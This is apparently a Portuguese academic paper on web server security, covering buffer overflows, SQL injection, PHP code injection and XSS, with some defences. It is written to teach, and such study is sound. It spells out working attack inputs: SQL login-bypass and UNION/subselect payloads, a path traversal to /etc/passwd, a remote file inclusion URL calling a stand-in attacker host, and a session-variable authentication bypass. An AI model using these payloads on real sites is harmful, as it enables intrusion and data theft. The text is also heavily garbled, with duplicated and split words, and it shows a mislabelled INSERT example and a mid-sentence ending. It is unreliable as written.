Nomes: Sávio Rodrigo Atunes dos Santos Rosa Diego Diego Henrique Henrique Florenti Florentino no de Andrade Andrade
RA: 025144 025144 RA: 023549 023549
Segurança e WebServers 1) Introdução: Atualmente a utilização de aplicações web apresenta um papel fundamental no mercado de TI. Suas principais vantagens em relação às aplicações dektop estão no fato de que são acessí veis veis globalmente e possuem alta portabilidade. E tudo indica que as aplicações para web tendam a se tornar ainda mais populares, pois com o advento da Web 2.0 que utiliza tecnologias inovadoras, como o AJAX, houve um aumento notável na flexibilidade das aplicações desenvolvidas. Pretendemos abordar nesse documento assuntos relativos a segurança de WebServers e suas implicações no desenvolvimento de programas seguros para Web.
2) WebServers: Apesar dos programas WebServers diferirem em alguns detalhes, todos eles compartilhas algumas funcionalidades básicas: 1. Respostas Respostas a requisições HTTP: todo programa WebServer opera aceitando requisições HTTP da rede, e provendo respostas aos clientes. A resposta HTTP geralmente consiste de um documento HTML, mas pode ser também um arquivo em texto-plano, uma imagem, ou qualquer outro tipo de documento. Se algum problema ocorrer no processamento da requisição do cliente, um WebServer deve responder com uma mensagem de erro, que pode incluir algum documento HTML ou mensagem de texto para melhor melhor explicar o problema a um humano. 2. Logging: em geral geral WebServ WebServers ers tem a capacidade de guardar guardar logs com informa informações detalhadas sobre requisições de clientes e respostas do servidor, permitindo ao WebMaster levantar estatí sticas sticas a respeito da operação do servidor. Na prática os WebServers também implementam algumas outras funcionalidades: 1. Confi Configur guraação das funcionalidades por meio de arquivos de configuração ou por interfaces com o usuário. 2. Aute Autenti ntica cação: requisição opcional de autorização antes de liberar o acesso a algum ou qualquer tipo de recurso. 3. Manip Manipula ulação não apenas de contúdo estático, mas também de conteúdo dinâmico, através de suporte a uma ou mais das seguintes interfaces: SSI, CGI, SCGI, FastCGI, PHP, ASP, ASP.NET, Server API como NSAPI, ISAPI, etc. 4. Suport Suportee a módulos, a fim de permitir a extensão das capacidades do servidor, seja adicionando ou modificando modulos de software que são ligados ao programa servidor ou que são dinamicamente carregados. 5. Suporte a HTTPS HTTPS (SSL (SSL or TLS) a fim de permitir conexões seguras (cifradas) aow servidor, nas porta padrão 443 ao invés da porta 80, padrão para HTTP.
6. Comp Compre ress ssão de conteúdo (geralmente por codificação gzip), para reduzir o tamanho das respostas e, por conseguinte, diminuir a banda requerida. 7. Virtual Host, Host, para permitir hospedagem hospedagem de muitos muitos websites websites utilizando utilizando apenas um endereço IP. IP. 8. Suporte a arquivos arquivos grandes, grandes, para que que possa servir arquiv arquivos os cujo tamanho sejam sejam superiores superiores a 2 GB. 9. Controle de banda, a fim de limitar limitar a velocidade velocidade das das respostas respostas para não saturar a rede e poder servir outros clientes.
2.1) Uniform Resource Location (URL) WebServers geralmente traduzem o caminho para um componente de uma URL um recurso para o sistema de arquivos local. O caminho URL especificado pelo cliente é traduzido para o para o diretório raiz do WebServer. Considere a seguinte URL a ser traduzida pelo cliente: http://www.example.com/path/file.html
O Browser do cliente traduzirá a URL em uma conexão para www.example.com de acordo com a seguinte requisição HTTP 1.1: GET /path/file.html HTTP/1.1 Host: www.example.com
O WebServer em www.example.com irá concatenar o caminho especificado com o seu diretório raiz. Nas máquinas Unix o diretório raiz é geralmente dado por /var/www/htdocs. O resultado é o seguinte recurso para o sistema de arquivos local: /var/www/htdocs/path/file.html
O WebServer irá então ler este arquivo, se existir, e enviar a resposta para o Browser do cliente. A resposta descreverá o arquivo além de conter o próprio arquivo.
2.2) Aplica ções WebServers: Os quatro WebServers mais comuns são: •
•
•
•
Apache HTTP Server da Apache Software Foundation Internet Information Services (IIS) da Microsoft Sun Java System WebServer da Sun Microsystems Zeus WebServer da Zeus Technology
A Internet vem experimentando atualmente um forte crescimento no número de sites, o que se deve em grande parte a popularização dos blogs, e da proliferação de companhias de hospedagem gratuita. Abaixo um gráfico demonstrando a flutuação no número de websites no mundo, desde Agosto de 1995 até Junho de 2006.
Gráfico 1 – Flutuação de WebSites de 08/95 a 06/06
Um outro aspecto interessante a ser notado é um recente ganho de mercado da Microsoft em relação ao concorrente software de código aberto Apache, que ainda continua lí der der de mercado. A migração observada deve-se ao fato de que algumas grandes companhias americanas de hospedagem de sites, como a Go Daddy, tem deixado de utilizar Linux como Sistema Operacional, e por esse motivo tem optado pelo pacote da Microsoft Windows – IIS. Abaixo observamos um gráfico com a evolução no uso dos principais Softwares WebServers também de Agosto de 1995 a Junho de 2006, onde se percebe essa migração para o uso de IIS.
Gráfico 2 – Evolução no uso de WebServers
A tabela seguinte aponta o valor apurado no uso de WebServers no iní cio cio dos meses de Maio e Junho de 2006, e também reflete essa migração para os sistemas da Microsoft.
Jun Junho ho de 2006 006
Por Porcenta entag gem
Maio Maio de 2006 2006
Por Porcenta entag gem
Dife Diferren ç a
Apache
52819517
64.76
5 23 89 88 5
61.25
-3.51
Microsoft
20764239
25.46
25415611
29.71
4.25
Sun
1917950
2.35
1311822
1.53
-0.82
Zeus
550437
0.67
531399
0.62
-0.05
Tabela 1 – Uso dos principais WebServers em Maio e Junho de 2006
2.3) WebServers mais utilizados e suas principais vulnerabilidades Os principais servidores web utilizados são o IIS (Internet Information System) e o Apache. Vulnerabilidades no Servidor IIS Existem diversas vulnerabilidades em várias versões do Microsoft IIS. Abaixo estão relacionadas as mais freqüentes: • •
Muitas destas vulnerabilidades são "buffer overflows". Falhas de segurança estariam presentes em algumas funções do servidor, como ISAPI, WebDAV e possibilitaria que um cracker lançasse ataques denial-of-service (DoS) e aproveitasse vulnerabilidades do tipo Cross-Site Scripting (CSS), como para elevação de privilégios.
Vulnerabilidades no Servidor APACHE O Apache é um programa complexo que goza de um certo respeito pela Comunidade Hacker por possuir seu código fonte aberto. Mas, por ser um programa complexo, que cada vez mais vem tendo um aumento de linhas de códigos e de funções, as chances de se descobrir um furo no Servidor Apache são consideráveis. Abaixo estão relacionadas as mais freqüentes: • •
Ataque de negação de servi ço. Executar um ataque remoto através de um script ou ler cookies de outros sites – exploração de vulnerabilidades via CGI Scripts.
3) Segurança em WebServers: Os principais pontos vulneráveis das aplicações voltadas à web que abordaremos são os seguintes: •
•
•
•
•
•
Buffer Overflow SQL Injection Code Injection XSS / CSS (Cross Site Scripting) Ataques via CGI-Scripts Ataques via SSI (Server Side Include)
Figura 1: Esquema das principais vulnerabilidades de um WebServer
3.1) Buffer Overflow 3.1.1) Introdu çã o Buffer overflow é um falha de segurança comumente encontrada em WebServers, mas, apesar de ser uma falha muito conhecida e bastante séria, o erro repete-se sistematicamente a cada nova versão liberada. Alguns programas já são famosos por freqüentemente apresentarem a falha, como o Sendmail,, módulos do Apache Sendmail Apache,, o Internet Information Services (IIS) da Microsoft e softwares considerados seguros, como o OpenSSH OpenSSH..
Um buffer overflow é resultado do armazenamento armazenamento de uma quantidade quantidade maior maior de dados do que um buffer pode suportar, ou seja, estourar o buffer . O princí pio pio de um ataque baseado em buffer overflow é estourar o buffer e sobrescrever parte da pilha, alterando o valor das variáveis locais, valores dos parâmetros e/ou o endereço de retorno. Por exemplo, altera-se o endereço de retorno RET(Return Address) Address) da função para que ele aponte para a área em que o código que se deseja executar encontra-se armazenado (código malicioso dentro do próprio buffer estourado ou até algum trecho de código presente no programa vulnerável), podendo-se assim executar código malicioso malicioso com os privilégios do usuário que executa o programa vulnerável, como super-usuário (root) por exemplo. sistemaa como como (syslogd(8), mountd(8)) ou apli aplica cações que rodam com Daemons de sistem privilégios de root como (sendmail(8), até pouco tempo) são portanto alvo preferencial. 3.1.2) Tipos de buffer overflow
Existem três tipos básicos de ataques utilizando-se a vulnerabilidades de buffer overflow: •
Buffer overflow baseado em pilha em pilha: a t écnica de exploração mais simples e comum, atua
pela alteração do estado da pilha durante a execução do programa para direcionar a execução para o código malicioso contido no buffer estourado:
•
•
Buffer overflow baseado em heap em heap: bem mais dif í ícil c il de explorar, por causa da disciplina de acesso à heap (blocos não contí guos, guos, fragmentação interna). Deve-se estourar o buffer armazenado na área da heap em direção ao endereço de retorno na pilha, para direcionar a execução para o código malicioso que se encontra no buffer estourado;
Buffer overflow de retorno à libc: alteram o fluxo de execução pelo estouro de algum buffer na pilha ou heap, para algum trecho de código armazenado no segmento de texto do programa. Tipicamente este trecho de código é alguma chamada de função comumente utilizada da biblioteca padrão libc, como as chamadas de execução arbitrária de comandos (funções da famí lia lia exec(3)). Este tipo de ataque tem sido bastante utilizado após a inclusão de patches nos sistemas operacionais que impedem a execução de código em pilha , em heap ou na região de dados.
3.1.3) Como prevenir ataques por buffer overflow
A técnica de solução tradicional é efetuar a checagem de limite (garantindo que o número
de caracteres inseridos não exceda o limite estabelecido) ou garantir que a linguagem faça a alteração dinâmica do tamanho do buffer . A solução é utilizar funções de biblioteca que não apresentem problemas relacionados a buffer overflow . A solução na biblioteca padrão é utilizar as funções strncpy(3) e strncat(3) que recebem como argumento o número máximo de caracteres copiados entre as strings. Deve haver controle no argumento fornecido para que ele não exceda o tamanho da string de destino, ou teremos novamente código vulnerável. Os sistemas BSD fornecem as funções strlcpy(3) e strlcat(3) para cópia e concatenação de strings. Estas funções recebem como argumento o tamanho total do buffer de destino. Outras bibliotecas, como a Libmib (Libmib (Libmib Software Library) que implementa realocação dinâmica das strings quando seu tamanho é ultrapassado, e a Libsafe que contém versões modificadas das funções suscetí veis veis a buffer overflow, funcionando como um wrapper(padr ão de projeto) para a libc padrão. Um dos problemas do servidor implementado é a falta de checagem de tamanho do buffer nas chamadas sucessivas à função read(2). As alternativas nesse caso são a inclusão de código de checagem de limite do buffer ou a utilização de funções como recv(2) que recebem como argumento o tamanho máximo da string recebida. Outras recomendações passam pela utilização de compiladores com checagem de limite, aplicação de patches ao sistema operacional que impossibilitem a execução de código na pilha ou heap (ainda restam os ataques utilizando a região de texto, entretanto), preferência por alocação dinâmica dos buffers na área de heap, atenção redobrada na codificação dos laços de interação que preenchem os buffers e exame cuidadoso das possí veis veis entradas do usuário. A exploração de código vulnerável a buffer overflow exige alguma habilidade, pois na maioria das vezes aproveitar-se das falhas não é f ácil, mas o conhecimento necessário para tal tarefa pode ser facilmente adquirido pelo material difundido pela Internet e experimentos de explorar essa vulnerabilidade. Por isso o desenvolvimento de software seguro deve ser tratado com muita responsabilidade e atenção, principalmente no desenvolvimento de software de segurança projetados para ser executado com privilégios de super-usuário ou usuário especial do sistema.
3.2) SQL Injection: SQL Injection é a técnica utilizada para explorar vulnerabilidades em aplicações Web que utilizam dados fornecidos pelo usuário sem antes tratar caracteres que podem oferecer algum perigo. A idéia é fazer com que a aplicação alvo rode um código SQL que não era inicialmente previsto pelo programador. Apesar de ser um problema de simples correção, existe um grande número de websites conectados a internet que são vulneráveis a esse tipo de ataque. A seguir descreveremos as seguintes técnicas de SQL Injection: •
•
•
•
Passagem por autenticação Usando o comando SELECT Usando o comando INSERT Usando Stored Procedures do SQL Server
3.2.1) Passagem por Autentica çã o:
A técnica mais simples de SQL Injection é a passagem por formulários de login. Considere o seguinte código de uma aplicação Web: SQLQuery = "SELECT Username FROM Usuários WHERE Username = ‘" & strUsername & "‘ AND Password = ‘" & strPassword & "‘" username = GetQueryResult(SQLQuery) If username = "" Then Authenticated = False Else Authenticated = True End If
O que acontece quando o usuário submete seu username e password? A consulta seguirá para o banco de dados buscando saber se na tabela “Usuários” existe um registro tal que o username e o password sejam os mesmos que os fornecidos pelo usuário. Se tal registro for encontrado o username será atribuido a variável “username”, que indica que o usuário identificou-se identificou-se corretamente. Se não existir nenhum registro, “username” estará vazia, significando que o usuário não autenticou-se corretamente. Se “strUsername” e “ strPassword” puderem conter qualquer caracter que for desejado, pode-se modificar a atual estrutura da consulta SQL tal que um nome válido possa ser retornado mesmo que não se conheça um par username/password válidos. Para isso basta que se preencha os campos “login” e “password” do formulário da seguinte forma: Login: ' OR '1'='1 Password: ' or '1'='1
Isto resultará na seguinte consulta SQL: SELECT Username FROM Users WHERE Username = ‘‘ OR ‘1‘=‘1‘ AND Password = ‘‘ OR ‘1‘=‘1‘
Ao invés de comparar o usuário fornecido pelo usuário com aqueles presentes na tabela “Usuários”, a consulta irá comparar a cláusula '1'='1' que obviamente sempre retorna TRUE. Uma vez que as condições da cláusula WHERE foram atendidas, a aplicação selecionará a primeira linha do conjunto de registros retornados. Passara o username para a váriavel de mesmo nome o que garantirá a autenticação. 3.2.2) Usando o comando SELECT:
Em algumas situações, é necessário fazer engenharia reversa da aplicação vulnerável a partir das mensagens de erro retornadas. Para fazer isso é necessário saber interpretar as mensagens retornadas para saber como fazer o melhor ataque. O primeiro erro normalmente encontrado é o erro de sintaxe. Um erro de sintaxe indica que a consulta não segue a estrutura SQL correta. A primeira coisa a ser feita é determinar se a injeção de código é possí vel vel através da manipulação de aspas. Em uma injeção direta qualquer argumento submetido será usado na consulta SQL sem qualquer modificação. Uma boa tática é atribuir um valor legí timo timo ao valor a ser submetido e concatenar a ele um espaço e a palavra “OR”. Se este fato gerar um erro, então é possí vel vel fazer a injeção direta. Valores diretos podem ser valores númericos usados na cláusula WHERE, tal como o exemplo abaixo: SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE
Employee = " & intEmployeeID
ou pode ser também um nome de tabela ou campo, tal como: SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn
Todas as outras instâncias são vulnerabilidades que usam aspas, conhecidas como “quoted injection”. Em uma “quoted injection” qualquer argumento submetido terá aspas adicionadas ao seu iní cio cio e fim, assim como: SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = ‘" & strCity & "‘"
Para quebrar o uso de aspas e manipular a consulta mantendo uma sintaxe válida, deve-se usar uma aspas simples antes do uso de qualquer keyword SQL, tal como “OR”, “AND”, etc. 3.2.2.1) União Basica: O uso do comando SELECT é usado com o objetivo de obter informações do banco de dados. A maioria das páginas que apresentam conteúdo dinâmico obtém esse conteúdo através do uso de queries com comando SELECT, e na maioria das vezes somente será possí vel vel manipular a porção da query que se localiza após a cláusula WHERE. Para fazer o banco de dados retornar registros que não sejam aqueles previstos pelo programador, é possí vel vel modificar a cláusula WHERE injetando um comando UNION SELECT. Isto permite que múltiplas queries SELECT sejam especificadas de uma vez. Eis um exemplo: SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1
Isto retornará o conjunto de registros da primeira query somado ao conjunto de registros da segunda. O ALL é necessário para permitir certos tipos de cláusulas SELECT DISTINCT. O atacante deve apenas se assegurar de que a primeira query ( aquele que o desenvolvedor da aplicação pretendia executar) não retorna nenhum resultado. Suponha o script com o seguinte código: SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘" & strCity & "‘"
O atacante utiliza a seguinte string para injeção: ‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘
A query resultante a ser mandada para o banco de dados é a seguinte: SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘‘
O banco de dados irá inspecionar a tabela Employees, buscando por um registro tal que o campo City possua como valor a string vazia. Uma Uma vez que esse valor valor não será encontrado, nenhum registro será retornado. Os únicos registros retornados serão da query injetada. Em alguns casos, usar a string vazia não irá funcionar porque existirão entradas na tabela que estarão vazias, ou porque o valor vazio possui algum outro significado para a aplicação. É necessário simplesmente especificar um valor que não ocorre na tabela. Quando um número deve ser especificado, zero ou um número negativo geralmente funcionam bem. Para argumentos textuais é recomendado usar uma
string pouco comum. 3.2.2.2) Queries com problemas de sintaxe: Alguns servidores de bancos de dados retornam a porção da query contendo o erro de sintaxe em mensagens de erro. Nestes casos é possí vel vel se aproveitar destas mensagens no auxilio à injeção de código SQL. Dependendo de como a query foi construí da, da, é possí vel vel obter informações de grande utilidade. 3.2.2.3) Parênteses: Se o erro de sintaxe contém um parêntese na mensagem retonada, ou a mensagem relata problemas no balanceamento de parênteses, é uma boa idéia adicionar parênteses à string que será injetada. Em alguns casos será necessário adicionar dois ou mais parenteses. Abaixo um exemplo do uso dessa técnica: "SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = ‘" & strCity & "‘)"
então, o seguinte valor pode ser injetado: “‘) UNION SELECT OtherField FROM OtherTable WHERE (‘‘=‘”,
resultando na seguinte query a ser mandada para o banco de dados: SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = ‘‘) UNION SELECT OtherField From OtherTable WHERE (‘‘=‘‘)
a qual possui todos os parenteses balanceados e foi uma boa escolha graças à informação obtida de que existia um erro no balanceamento de parenteses. 3.2.2.3) Uso da cláusula LIKE: Uma outra possibilidade de injeção de código SQL é feita em uma cláusula LIKE. São indicações dessa situação o aparecimento da palavra-chave LIKE ou do caracter porcento no retorno de erro. A maioria das funções de busca utilizam a cláusula LIKE nas queries SQL, como o exemplo abaixo: SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE ‘%" & strLastNameSearch & "%’"
Os caracteres porcento permitem que sejam retornados todos os registros em que a string passada como parâmetro esteja contida nas strings do campo no banco de dados. Para fazer com que a query não retorne resultados, é preciso que o valor submetido não esteja contido em nenhuma string do campo LastName. Também é possí vel vel submeter uma string vazia, o que fará com que o banco de dados retorne todos os registros. 3.2.3) Usando o comando INSERT:
O comando INSERT é utilizado com o objetivo de inserir informações ao banco de dados. Usos comuns do comando INSERT numa aplicação web incluem desde registro de usuários à
adição de itens ao carrinho em uma loja de comércio eletrônico. Checar vulnerabilidades no comando INSERT é tarefa semelhante aquele realizada ao checar vulnerabilidades na cláusula WHERE. N ão se deve usar o comando INSERT caso se queira previnir contra detecção. Dependendo do quão atencioso é o administrador ou da forma como a informação submetida é utilizada, ele pode ficar sabendo do ataque. Eis uma forma de como a injeção utilizando INSERT difere-se da injeção utilizando SELECT. Suponha um site que permite algum tipo de registro de usuário através de um fomulário onde se preenche o nome, endereço, número de telefone, etc. Depois de submeter o formulário é possí vel vel navegar até uma página onde esteja disposta a informação submetida e seja possí vel vel editála. É exatamente o que se precisa. Para tirar vantagem da vulnerabilidade do comando INSERT, é preciso ver a informação submetida, não sendo importante onde ela se encontra. Talvez ao se logar a aplicação disponha o valor gravado para o nome, ou ao se cadastrar a aplicação envie um e-mail com o nome na mensagem. Seja como for, é preciso encontrar uma forma de analisar os dados submetidos. O comando INSERT tem a seguinte forma: SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE ‘%" & strLastNameSearch & "%’"
Pode ser necessário manipular os argumentos na cláusula VALUES para que seja possí vel vel recuperar outros dados. Isso pode ser feito usando-se subselects. Considere o seguinte código: SQLString = "INSERT INTO TableName VALUES (‘" & strValueOne & "‘, ‘" & strValueTwo & "‘, ‘" & strValueThree & "‘)"
Então preenche-se o formulário da seguinte forma: Nome: ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘ Email:
[email protected] Telefone: 333-333-3333
Isso faz com que a query SQL seja: INSERT INTO TableName VALUES (‘‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘‘, ‘
[email protected]’, ‘333-333-3333’)
Ao visualizar a página com a edição dos dados o que será visto é o primeiro valor do campo FieldName, onde originalmente estaria o nome preenchido. Caso não seja usado TOP 1 no subselect obter-se-á uma mensagem de erro dizendo que muitos registros foram retornados. É possí vel vel obter todos os registros da tabela repetindo o procedimento anterior e usando a cláusula NOT IN() para os valores já obtidos. 3.2.4) Solu ções para SQL Injection:
Duas ações devem ser tomadas para imunizar a aplicação contra SQL Injection: tratar os dados recebidos e tratar da segurança da aplicação. 3.2.4.1) Tratamento de dados: Todos os dados submetidos pelo usuário precisam ser investigado e limpos de caracteres que podem ser usados de forma maliciosa. Isso na verdade deveria ser feito para todas as aplicações, não
somente aquelas que usam queries SQL. Uma boa solução é a utilização da técnica de escape de caracteres aspas. Para isso adiciona-se uma barra invertida(slash) antes de cada aspas presente no texto submetido. Todavia esta técnica não garante que a injeção não acontecerá (por exemplo, no ataque direto, que não utiliza aspas, explicado anteriormente). É preciso adotar tambem novas técnicas. Umas das possibilidades é a restrição da entrada a um conjunto de caracteres aceitavéis. Isso deve ser feito adotando expressões regulares. O exemplo abaixo retorna apenas números e caracteres: s/[^0-9a-zA-Z]//\
Podem ser feitos quaiquer tipos de filtros usando expressão regular, e quanto mais restrita for a entrada, menor a possibilidade de injeção. A adoção de filtros é especialmente importante quando os dados de entrada devem ser apenas números. Caso seja necessário incluir sí mbolos, mbolos, ou pontuação de qualquer tipo, estes devem ser convertidos para seus substitutos em HTML, tal como "e; ou >. Por exemplo, se o usuário estiver submetendo um e-mail, deve ser permitado apenas os caracteres “@”, underscore, ponto, hí fen fen além de números e letras, e devem ser permitidos apenas após a transformação desses caracteres para seus substitutos HTML. 3.2.4.2) Codificação de queries SQL: Existem algumas regras básicas para codificação SQL. Em primeiro lugar deve-se sempre adicionar aspas ao iní cio cio e ao fim dos dados submetidos pelo usuário, e sempre adicionar uma barra invertida antes de cada aspas no texto do usuário, caso sejam relamente necessárias e precisem passar pelo filtro. Além disso os direitos do usuário de banco de dados da aplicação devem ser os mais restritos possí veis. veis.
3.3) Code Injection: Se uma aplicação web processa dinamicamente arquivos de inclusão ou caminhos para arquivos incorretamente, torna-se vulnerável a execução de um código arbitrário no servidor, ou da recuperação do conteúdo de arquivos. Um ataque implementado com sucesso permite ao atacante passagem pelo processo de autenticação, execução de comandos no servidor, visualização e gravação de dados arbitrários em arquivos, entre outras coisas. Usaremos como linguagem padrão para exemplos o PHP, mas os problemas de injeção de código existem em todas as linguagens de scripts para web existentes. 3.3.1) Arquivos:
Uma das coisas que torna PHP uma linguagem bastante flexivel é a facilidade para manipulação de arquivos. As funções include(), require() e fopen() aceitam nomes de arquivos com caminho local e também remoto, através do uso de URLs. Muitas das vulnerabilidades existentes decorrem da manipulação incorreta de arquivos dinâmicos ou de caminhos para arquivos. Suponha um site que possua um script o qual inclui arquivos HTML e os dispõe em um layout apropriado. A URL para esse script seguiria a seguinte forma: http://example.com/page.php?i=aboutus.html
A variável “i” contém o nome do arquivo a ser incluí do. do. Algumas questões podem ser feitas sobre o modo como foi programado o script:
•
•
•
•
O programador considerou a possibilidade de voltar em diretórios como em i=../../../etc/passwd? Checou o arquivo pela extensão .html? Usou a função fopen para incluir os arquivos? Teria ele pensado em proibir a possibilidade de incluir arquivos remotos?
Em se tratando de uma aplicação vulnerável, a resposta para estas pergunta é não! Nesse caso seria possí vel vel visualizar todos os arquivos para o qual o usuário httpd tem permissão de leitura. Mas um possibilidade ainda mais interessante seria a utilização da variável “i” para inclusão de arquivos HTML remotos. Supondo a URL: http://example.com/page.php?i=http://atacante.org/exec.html
Então poderí amos amos preencher o arquivo exec.html com as seguintes linhas.
Como se percebe, a vulnerabilidade de injeção de código pode ser bastante desastrosa. áveis globais: 3.3.1) Vari á
Por padrão o PHP cria a maioria das variáveis em escopo global. Por um lado isto é bastante conveniente, mas por outro pode fazer com que o programador se perca em scripts longos. De onde a variável surgiu? Se ela não foi setada, como de onde ela apareceu? Todas as variáveis EGPCS (Environment, GET, POST, Cookie, and Server) são colocadas em um escopo global. Os arrays associativos globais $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS e $HTTP_SESSION_VARS serão criados quando a diretiva de configuração track_vars estiver setada. Desta forma será possí vel vel procurar pelas variáveis no lugar de onde se espera que venham. Exemplo
O problema abaixo foi reportado para Bugtraq por Ismael Peinado Palomo em 25 de Julho de 2001. Mambo Site Server 3.0.x, um portal dinâmico de gerenciamento de conteúdo baseado em PHP e MySQL, vulnerável a injeção de código. Para simplificação o código foi modificado. No diretório admin/, o arquivo index.php checa se o password submetido é igual aquele do banco de dados.
Quando o password estivesse correto, as variáveis $myname, $fullname e $userid eram
registradas como variáveis de sessão. O usuário era então redirecionado para index2.php, onde ocorria o seguinte:
Se a variável de sessão ainda não tivesse sido setada, o usuário seria redirecionado de volta para a página de login. Caso um session ID já existisse, o script colocaria as variáveis em escopo global. Vamos ver como explorar esta vulnerabilidade. Considere a seguinte URL: http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname =joey&userid=admin
As variáveis de GET $PHPSESSID, $myname, $fullname e $userid serão criadas como variáveis globais por padrão. Desse forma, ao olhar para a estrutura if-else acima, veremos que o script terá a variável $PHPSESSID como setada, e as 3 variáveis dedicadas a autorizar e identificar o usuário podem ser setadas para qualquer valor desejado. O banco de dados nem precisou ser consultado!
3.4) Cross-Script-Site 3.4.1) Introdu çã o
A expressão "Cross Script Site" (CSS ou XSS) está se tornando muito conhecida, e consiste numa falha de segurança muito comum no sites de conteúdo dinâmico ( Perl, JSP, etc). O problema surge quando um site incorpora em si próprio dados dinâmicos fornecidos pelos seus usuários sem verificar completamente essas entradas, isto é, o atacante pode usar tags maliciosos que podem prejudicar o sistema. Por exemplo em sites que são projetados para permitir tags de HTML, para assim ficarem mais interativos, podem permitir comentários de usuários que serão postados depois a outros leitores em um livro de visitas (ou guestbook). Nesse tipo de site, um cracker, colocando certos valores nos blanks destinados aos comentários, poderia: •
•
utilizando-se uma tag <SCRIPT> e com um certo conhecimento sobre o site, o script poderia extrair outras informações do site e submetê-las a um servidor controlado pelo cracker. com uma tag